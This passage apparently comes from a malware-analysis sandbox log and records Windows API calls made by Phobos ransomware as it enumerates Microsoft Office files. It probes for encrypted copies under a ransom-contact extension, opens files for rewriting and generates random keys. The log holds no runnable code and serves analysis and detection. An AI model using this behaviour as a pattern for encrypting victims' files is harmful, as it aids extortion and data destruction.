(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.142] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.142] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24768) returned 1 [0151.142] CloseHandle (hObject=0x564) returned 1 [0151.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0151.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.143] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.143] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21184) returned 1 [0151.143] CloseHandle (hObject=0x564) returned 1 [0151.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0151.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.143] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.144] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.144] CloseHandle (hObject=0x564) returned 1 [0151.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0151.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.145] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.145] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=215768) returned 1 [0151.145] CloseHandle (hObject=0x564) returned 1 [0151.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0151.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.146] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.147] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=255192) returned 1 [0151.147] CloseHandle (hObject=0x564) returned 1 [0151.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0151.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.147] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.148] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=396960) returned 1 [0151.148] CloseHandle (hObject=0x564) returned 1 [0151.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll")) returned 0x420 [0151.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.148] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.149] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=473760) returned 1 [0151.149] CloseHandle (hObject=0x564) returned 1 [0151.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0151.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.308] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5968) returned 1 [0151.308] CloseHandle (hObject=0x564) returned 1 [0151.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0151.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.309] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.311] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5440) returned 1 [0151.312] CloseHandle (hObject=0x564) returned 1 [0151.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0151.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.313] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.314] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6644) returned 1 [0151.314] CloseHandle (hObject=0x564) returned 1 [0151.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0151.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.317] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6763) returned 1 [0151.317] CloseHandle (hObject=0x564) returned 1 [0151.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0151.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.318] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.319] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6491) returned 1 [0151.319] CloseHandle (hObject=0x564) returned 1 [0151.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0151.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.320] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.322] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5714) returned 1 [0151.322] CloseHandle (hObject=0x564) returned 1 [0151.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0151.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.322] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.323] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=8538) returned 1 [0151.323] CloseHandle (hObject=0x564) returned 1 [0151.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0151.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.323] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.324] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6070) returned 1 [0151.324] CloseHandle (hObject=0x564) returned 1 [0151.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0151.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.324] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.477] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6020) returned 1 [0151.477] CloseHandle (hObject=0x564) returned 1 [0151.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0151.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.477] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 